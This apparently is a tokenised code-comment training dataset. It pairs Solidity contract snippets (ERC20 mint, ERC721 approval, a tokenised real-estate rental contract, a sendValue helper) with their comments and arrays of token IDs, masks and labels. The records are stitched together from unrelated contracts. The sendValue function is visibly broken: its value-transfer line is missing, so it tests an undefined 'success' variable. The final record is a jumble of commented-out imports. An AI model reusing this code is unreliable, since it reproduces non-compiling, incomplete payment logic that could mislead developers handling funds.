[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 19805, 58, 73, 13937, 12, 2867, 729, 16, 2254, 5034, 2687, 548, 16, 2254, 5034, 16189, 3039, 16, 2254, 5034, 943, 14667, 2173, 27998, 13, 203, 3639, 2713, 203, 3639, 5024, 203, 565, 288, 203, 3639, 1731, 3778, 501, 31, 203, 3639, 288, 203, 5411, 2254, 5034, 7632, 273, 331, 17128, 6412, 492, 18, 1355, 67, 1153, 67, 12015, 12, 1355, 1769, 203, 5411, 309, 261, 12015, 422, 374, 13, 15226, 776, 73, 1919, 16329, 972, 1299, 1248, 11459, 5621, 203, 5411, 261, 474, 10392, 729, 31645, 16, 509, 10392, 729, 55, 12232, 16, 2254, 5034, 729, 17218, 16, 13, 273, 331, 17128, 6412, 492, 18, 1355, 67, 1153, 67, 8189, 12, 1355, 16, 7632, 1769, 203, 203, 5411, 7632, 273, 331, 17128, 6412, 492, 18, 12015, 5621, 203, 5411, 261, 474, 10392, 2552, 31645, 16, 509, 10392, 2552, 55, 12232, 16, 2254, 5034, 2552, 17218, 16, 13, 273, 331, 17128, 6412, 492, 18, 1153, 67, 8189, 12, 12015, 1769, 203, 203, 5411, 2254, 5034, 783, 14638, 1685, 4921, 273, 261, 2629, 18, 5508, 342, 261, 21, 17314, 3719, 380, 261, 21, 17314, 1769, 203, 5411, 348, 12232, 3043, 8526, 3778, 17543, 7173, 273, 394, 348, 12232, 3043, 8526, 12, 55, 1502, 1423, 67, 1792, 3388, 3991, 67, 7096, 1769, 203, 5411, 364, 261, 11890, 5034, 277, 31, 277, 411, 348, 1502, 1423, 67, 1792, 3388, 3991, 67, 7096, 30943, 288, 203, 7734, 783, 14638, 1685, 4921, 1011, 404, 17314, 31, 203, 7734, 17543, 7173, 63, 77, 65, 273, 348, 12232, 2 ]
./full_match/4/0x2017d429Ad722e1cf8df9F1A2504D4711cDedC49/sources/kali.sol
cannot overflow because the sum of all user balances can't exceed the max uint256 value
function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; unchecked { balanceOf[to] += amount; } _moveDelegates(address(0), delegates(to), amount); emit Transfer(address(0), to, amount); }
692,813
[ 1, 12892, 9391, 2724, 326, 2142, 434, 777, 729, 324, 26488, 848, 1404, 9943, 326, 943, 2254, 5034, 460, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 81, 474, 12, 2867, 358, 16, 2254, 5034, 3844, 13, 2713, 5024, 288, 203, 3639, 2078, 3088, 1283, 1011, 3844, 31, 203, 203, 3639, 22893, 288, 203, 5411, 11013, 951, 63, 869, 65, 1011, 3844, 31, 203, 3639, 289, 203, 203, 3639, 389, 8501, 15608, 815, 12, 2867, 12, 20, 3631, 22310, 12, 869, 3631, 3844, 1769, 203, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 358, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x18B32bC20951b0eaE36247Aa5C8C22A77244d6cd/sources/contracts/ERC721X.sol
* @dev Approve `operator` to operate on all of `owner` tokens Emits a {ApprovalForAll} event./
function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721X: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); }
4,202,207
[ 1, 12053, 537, 1375, 9497, 68, 358, 20829, 603, 777, 434, 1375, 8443, 68, 2430, 7377, 1282, 279, 288, 23461, 1290, 1595, 97, 871, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 542, 23461, 1290, 1595, 12, 203, 565, 1758, 3410, 16, 203, 565, 1758, 3726, 16, 203, 565, 1426, 20412, 203, 225, 262, 2713, 5024, 288, 203, 565, 2583, 12, 8443, 480, 3726, 16, 315, 654, 39, 27, 5340, 60, 30, 6617, 537, 358, 4894, 8863, 203, 565, 389, 9497, 12053, 4524, 63, 8443, 6362, 9497, 65, 273, 20412, 31, 203, 565, 3626, 1716, 685, 1125, 1290, 1595, 12, 8443, 16, 3726, 16, 20412, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; contract realEstate { // Declare state variables in this section uint8 public avgBlockTime; // Avg block time in seconds. uint8 private decimals; // Decimals of our Shares. Has to be 0. uint8 public tax; // Can Preset Tax rate in constructor. To be changed by government only. uint8 public rentalLimitMonths; // Months any tenant can pay rent in advance for. uint256 public rentalLimitBlocks; // ...in Blocks. uint256 constant private MAX_UINT256 = 2**256 - 1; // Very large number. uint256 public totalSupply; // By default 100 for 100% ownership. Can be changed. uint256 public totalSupply2; // Only Ether incoming of multiples of this variable will be allowed. This way we can have two itterations of divisions through totalSupply without remainder. There is no Float in ETH, so we need to prevent remainders in division. E.g. 1. iteration (incoming ether value = MultipleOfTokenSupplyPower2) / totalSupply * uint (desired percentage); 2nd iteration ( ether value = MultipleOfTokenSupplyPower) / totalSupply * uint (desired percentage); --> no remainder uint256 public rentPer30Day; // rate charged by mainPropertyOwner for 30 Days of rent. uint256 public accumulated; // Globally accumulated funds not distributed to stakeholder yet excluding gov. uint256 public blocksPer30Day; // Calculated from avgBlockTime. Acts as tiem measurement for rent. uint256 public rentalBegin; // begin of rental(in blocknumber) uint256 public occupiedUntill; // Blocknumber untill the Property is occupied. uint256 private _taxdeduct; // ammount of tax to be paid for incoming ether. string public name; // The name of our house (token). Can be determined in Constructor _propertyID string public symbol; // The Symbol of our house (token). Can be determined in Constructor _propertySymbol address public gov = msg.sender; // Government will deploy contract. address public mainPropertyOwner; // mainPropertyOwner can change tenant.Can become mainPropertyOwner by claimOwnership if owning > 51% of token. address public tenant; // only tenant can pay the Smart Contract. address[] public stakeholders; // Array of stakeholders. Government can addStakeholder or removeStakeholder. Recipient of token needs to be isStakeholder = true to be able to receive token. mainPropertyOwner & Government are stakeholder by default. mapping (address => uint256) public revenues; // Distributed revenue account ballance for each stakeholder including gov. mapping (address => uint256) public shares; // Addresses mapped to token ballances. mapping (address => mapping (address => uint256)) private allowed; // All addresses allow unlimited token withdrawals by the government. mapping (address => uint256) public rentpaidUntill; //Blocknumber untill the rent is paid. mapping (address => uint256) public sharesOffered; //Number of Shares a Stakeholder wants to offer to other stakeholders mapping (address => uint256) public shareSellPrice; // Price per Share a Stakeholder wants to have when offering to other Stakeholders // Define events event ShareTransfer(address indexed from, address indexed to, uint256 shares); event Seizure(address indexed seizedfrom, address indexed to, uint256 shares); event ChangedTax(uint256 NewTax); event MainPropertyOwner(address NewMainPropertyOwner); event NewStakeHolder(address StakeholderAdded); event CurrentlyEligibletoPayRent(address Tenant); event PrePayRentLimit (uint8 Months); event AvgBlockTimeChangedTo(uint8 s); event RentPer30DaySetTo (uint256 WEIs); event StakeHolderBanned (address banned); event RevenuesDistributed (address shareholder, uint256 gained, uint256 total); event Withdrawal (address shareholder, uint256 withdrawn); event Rental (uint256 date, address renter, uint256 rentPaid, uint256 tax, uint256 distributableRevenue, uint256 rentedFrom, uint256 rentedUntill); event SharesOffered(address Seller, uint256 AmmountShares, uint256 PricePerShare); event SharesSold(address Seller, address Buyer, uint256 SharesSold,uint256 PricePerShare); constructor (string memory _propertyID, string memory _propertySymbol, address _mainPropertyOwner, uint8 _tax, uint8 _avgBlockTime) { shares[_mainPropertyOwner] = 100; //one main Shareholder to be declared by government to get all initial shares. totalSupply = 100; //supply fixed to 100 for now, Can also work with 10, 1000, 10 000... totalSupply2 = totalSupply**2; //above to the power of 2 name = _propertyID; decimals = 0; symbol = _propertySymbol; tax = _tax; // set tax for deduction upon rental payment mainPropertyOwner = _mainPropertyOwner; stakeholders.push(gov); //gov & mainPropertyOwner pushed to stakeholdersarray upon construction to allow payout and transfers stakeholders.push(mainPropertyOwner); allowed[mainPropertyOwner][gov] = MAX_UINT256; //government can take all token from mainPropertyOwner with seizureFrom avgBlockTime = _avgBlockTime; // 13s recomended. Our representation of Time. Can be changed by gov with function SetAvgBlockTime blocksPer30Day = 60*60*24*30/avgBlockTime; rentalLimitMonths = 12; //rental limit in months can be changed by mainPropertyOwner rentalLimitBlocks = rentalLimitMonths * blocksPer30Day; } // Define modifiers in this section modifier onlyGov{ require(msg.sender == gov); _; } modifier onlyPropOwner{ require(msg.sender == mainPropertyOwner); _; } modifier isMultipleOf{ require(msg.value % totalSupply2 == 0); //modulo operation, only allow ether ammounts that are multiles of totalsupply^2. This is because there is no float and we will divide incoming ammounts two times to split it up and we do not want a remainder. _; } modifier eligibleToPayRent{ //only one tenant at a time can be allowed to pay rent. require(msg.sender == tenant); _; } // Define functions in this section //viewable functions function showSharesOf(address _owner) public view returns (uint256 balance) { //shows shares for each address. return shares[_owner]; } function isStakeholder(address _address) public view returns(bool, uint256) { //shows whether someone is a stakeholder. for (uint256 s = 0; s < stakeholders.length; s += 1){ if (_address == stakeholders[s]) return (true, s); } return (false, 0); } function currentTenantCheck (address _tenantcheck) public view returns(bool,uint256){ //only works if from block.number on there is just one tenant, otherwise tells untill when rent is paid. require(occupiedUntill == rentpaidUntill[tenant], "The entered address is not the current tenant"); if (rentpaidUntill[_tenantcheck] > block.number){ uint256 daysRemaining = (rentpaidUntill[_tenantcheck] - block.number)*avgBlockTime/86400; //86400 seconds in a day. return (true, daysRemaining); //gives tenant paid status true or false and days remaining } else return (false, 0); } //functions of government function addStakeholder(address _stakeholder) public onlyGov { //can add more stakeholders. (bool _isStakeholder, ) = isStakeholder(_stakeholder); if (!_isStakeholder) stakeholders.push(_stakeholder); allowed[_stakeholder][gov] = MAX_UINT256; //unlimited allowance to withdraw Shares for Government --> Government can seize shares. emit NewStakeHolder (_stakeholder); } function banStakeholder(address _stakeholder) public onlyGov { // can remove stakeholder from stakeholders array and... (bool _isStakeholder, uint256 s) = isStakeholder(_stakeholder); if (_isStakeholder){ stakeholders[s] = stakeholders[stakeholders.length - 1]; stakeholders.pop(); seizureFrom (_stakeholder, msg.sender,shares[_stakeholder]); //...seizes shares emit StakeHolderBanned(_stakeholder); } } function setTax (uint8 _x) public onlyGov { //set new tax rate (for incoming rent being taxed with %) require( _x <= 100, "Valid tax rate (0% - 100%) required" ); tax = _x; emit ChangedTax (tax); } function SetAvgBlockTime (uint8 _sPerBlock) public onlyGov{ //we do not have a forgery proof time measurement in Ethereum. Therefore we count the ammount of blocks. One Block equals to 13s but this can be changed by the government. require(_sPerBlock > 0, "Please enter a Value above 0"); avgBlockTime = _sPerBlock; blocksPer30Day = (60*60*24*30) / avgBlockTime; emit AvgBlockTimeChangedTo (avgBlockTime); } function distribute() public onlyGov { // accumulated funds are distributed into revenues array for each stakeholder according to how many shares are held by shareholders. Additionally, government gets tax revenues upon each rental payment. uint256 _accumulated = accumulated; for (uint256 s = 0; s < stakeholders.length; s += 1){ address stakeholder = stakeholders[s]; uint256 _shares = showSharesOf(stakeholder); uint256 ethertoreceive = (_accumulated/(totalSupply))*_shares; accumulated = accumulated - ethertoreceive; revenues[stakeholder] = revenues[stakeholder] + ethertoreceive; emit RevenuesDistributed(stakeholder,ethertoreceive, revenues[stakeholder]); } } //hybrid Governmental function seizureFrom(address _from, address _to, uint256 _value) public returns (bool success) { //government has unlimited allowance, therefore can seize all assets from every stakeholder. Function also used to buyShares from Stakeholder. uint256 allowance = allowed[_from][msg.sender]; require(shares[_from] >= _value && allowance >= _value); shares[_to] += _value; shares[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Seizure(_from, _to, _value); return true; } //mainPropertyOwner functions function canPayRent(address _tenant) public onlyPropOwner{ //decide who can pay rent in the future tenant = _tenant; emit CurrentlyEligibletoPayRent (tenant); } function limitadvancedrent(uint8 _monthstolimit) onlyPropOwner public{ //mainPropertyOwner can decide how many months in advance the property can be rented out max rentalLimitBlocks = _monthstolimit *blocksPer30Day; emit PrePayRentLimit (_monthstolimit); } function setRentper30Day(uint256 _rent) public onlyPropOwner{ //mainPropertyOwner can set rentPer30Day in WEI rentPer30Day = _rent; emit RentPer30DaySetTo (rentPer30Day); } //Stakeholder functions function offerShares(uint256 _sharesOffered, uint256 _shareSellPrice) public{ //Stakeholder can offer # of Shares for Price per Share (bool _isStakeholder, ) = isStakeholder(msg.sender); require(_isStakeholder); require(_sharesOffered <= shares[msg.sender]); sharesOffered[msg.sender] = _sharesOffered; shareSellPrice[msg.sender] = _shareSellPrice; emit SharesOffered(msg.sender, _sharesOffered, _shareSellPrice); } function buyShares (uint256 _sharesToBuy, address payable _from) public payable{ //Stakeholder can buy shares from seller for sellers price * ammount of shares (bool _isStakeholder, ) = isStakeholder(msg.sender); require(_isStakeholder); require(msg.value == _sharesToBuy * shareSellPrice[_from] && _sharesToBuy <= sharesOffered[_from] && _sharesToBuy <= shares[_from] &&_from != msg.sender); // allowed[_from][msg.sender] = _sharesToBuy; seizureFrom(_from, msg.sender, _sharesToBuy); sharesOffered[_from] -= _sharesToBuy; _from.transfer(msg.value); emit SharesSold(_from, msg.sender, _sharesToBuy,shareSellPrice[_from]); } function transfer(address _recipient, uint256 _amount) public returns (bool) { //transfer of Token, requires isStakeholder (bool isStakeholderX, ) = isStakeholder(_recipient); require(isStakeholderX); require(shares[msg.sender] >= _amount); shares[msg.sender] -= _amount; shares[_recipient] += _amount; emit ShareTransfer(msg.sender, _recipient, _amount); return true; } function claimOwnership () public { //claim main property ownership require(shares[msg.sender] > (totalSupply /2) && msg.sender != mainPropertyOwner,"Error. You do not own more than 50% of the property tokens or you are the main owner allready"); mainPropertyOwner = msg.sender; emit MainPropertyOwner(mainPropertyOwner); } function withdraw() payable public { //revenues can be withdrawn from individual shareholders (government can too withdraw its own revenues) uint256 revenue = revenues[msg.sender]; revenues[msg.sender] = 0; (msg.sender).transfer(revenue); emit Withdrawal(msg.sender, revenue); } //renter function function payRent(uint8 _months) public payable isMultipleOf eligibleToPayRent{ //needs to be eligible to pay rent uint256 _rentdue = _months * rentPer30Day; uint256 _additionalBlocks = _months * blocksPer30Day; require (msg.value == _rentdue && block.number + _additionalBlocks < block.number + rentalLimitBlocks); //sent in Ether has to be _rentdue; additional blocks for rental cannot be higher than limit. _taxdeduct = (msg.value/totalSupply * tax); //deduct taxes accumulated += (msg.value - _taxdeduct); //accumulate revenues revenues[gov] += _taxdeduct; //accumulate taxes if (rentpaidUntill[tenant] == 0 && occupiedUntill < block.number) { //hasn't rented yet & flat is empty rentpaidUntill[tenant] = block.number + _additionalBlocks; //rents from now on rentalBegin = block.number; } else if (rentpaidUntill[tenant] == 0 && occupiedUntill > block.number) { //hasn't rented yet & flat is occupied rentpaidUntill[tenant] = occupiedUntill + _additionalBlocks; //rents from when it is free rentalBegin = occupiedUntill; } else if ( rentpaidUntill[tenant] > block.number) { //is renting, contract is runing rentpaidUntill[tenant] += _additionalBlocks; //rents from when it is free rentalBegin = occupiedUntill; } else if (rentpaidUntill[tenant] < block.number && occupiedUntill>block.number) { //has rented before & flat is occupied rentpaidUntill[tenant] = occupiedUntill +_additionalBlocks; //rents from when it is free rentalBegin = occupiedUntill; } else if (rentpaidUntill[tenant] < block.number && occupiedUntill<block.number) { //has rented before & flat is empty rentpaidUntill[tenant] = block.number + _additionalBlocks; //rents from now on rentalBegin = block.number; //has lived before and flat is empgy } occupiedUntill = rentpaidUntill[tenant]; //set new occupiedUntill emit Rental (block.timestamp, msg.sender, msg.value, _taxdeduct, (msg.value - _taxdeduct), rentalBegin, occupiedUntill); } //falback receive () external payable { //fallback function returns ether back to origin (msg.sender).transfer(msg.value); } }
above to the power of 2
totalSupply2 = totalSupply**2;
5,401,244
[ 1, 25998, 358, 326, 7212, 434, 576, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 4963, 3088, 1283, 22, 273, 2078, 3088, 1283, 636, 22, 31, 15604, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xC5292960b9A6282188086702C6F689CB743Ea5FA/sources/DUCKHUNTERSTEST.sol
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to `recipient`, forwarding all available gas and reverting on errors. of certain opcodes, possibly making contracts go over the 2300 gas limit imposed by `transfer`, making them unable to receive funds via `transfer`. {sendValue} removes this limitation. IMPORTANT: because control is transferred to `recipient`, care must be taken to not create reentrancy vulnerabilities. Consider using {ReentrancyGuard} or the/
function sendValue(address payable recipient, uint amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); require( success, "Address: unable to send value, recipient may have reverted" ); }
736,230
[ 1, 15201, 364, 348, 7953, 560, 1807, 1375, 13866, 68, 30, 9573, 1375, 8949, 68, 732, 77, 358, 1375, 20367, 9191, 20635, 777, 2319, 16189, 471, 15226, 310, 603, 1334, 18, 434, 8626, 1061, 7000, 16, 10016, 10480, 20092, 1960, 1879, 326, 10213, 713, 16189, 1800, 709, 7423, 635, 1375, 13866, 9191, 10480, 2182, 13496, 358, 6798, 284, 19156, 3970, 1375, 13866, 8338, 288, 4661, 620, 97, 7157, 333, 17732, 18, 21840, 6856, 30, 2724, 3325, 353, 906, 4193, 358, 1375, 20367, 9191, 7671, 1297, 506, 9830, 358, 486, 752, 283, 8230, 12514, 331, 19063, 5756, 18, 23047, 1450, 288, 426, 8230, 12514, 16709, 97, 578, 326, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1366, 620, 12, 2867, 8843, 429, 8027, 16, 2254, 3844, 13, 2713, 288, 203, 3639, 2583, 12, 203, 5411, 1758, 12, 2211, 2934, 12296, 1545, 3844, 16, 203, 5411, 315, 1887, 30, 2763, 11339, 11013, 6, 203, 3639, 11272, 203, 203, 3639, 2583, 12, 203, 5411, 2216, 16, 203, 5411, 315, 1887, 30, 13496, 358, 1366, 460, 16, 8027, 2026, 1240, 15226, 329, 6, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0xa14f790337f120DF5DD1070A28E82890c0F4c0Dc/sources/FormulaInit.sol
src/FormulaInit.sol pragma solidity ^0.6.7; */ import "./interfaces/IFormula.sol"; */ import "./interfaces/ISettingsRegistry.sol"; */ import "./interfaces/IMetaDataTeller.sol"; */ import "./FurnaceSettingIds.sol"; */ uint256 public constant UINT = 10 ** 18;
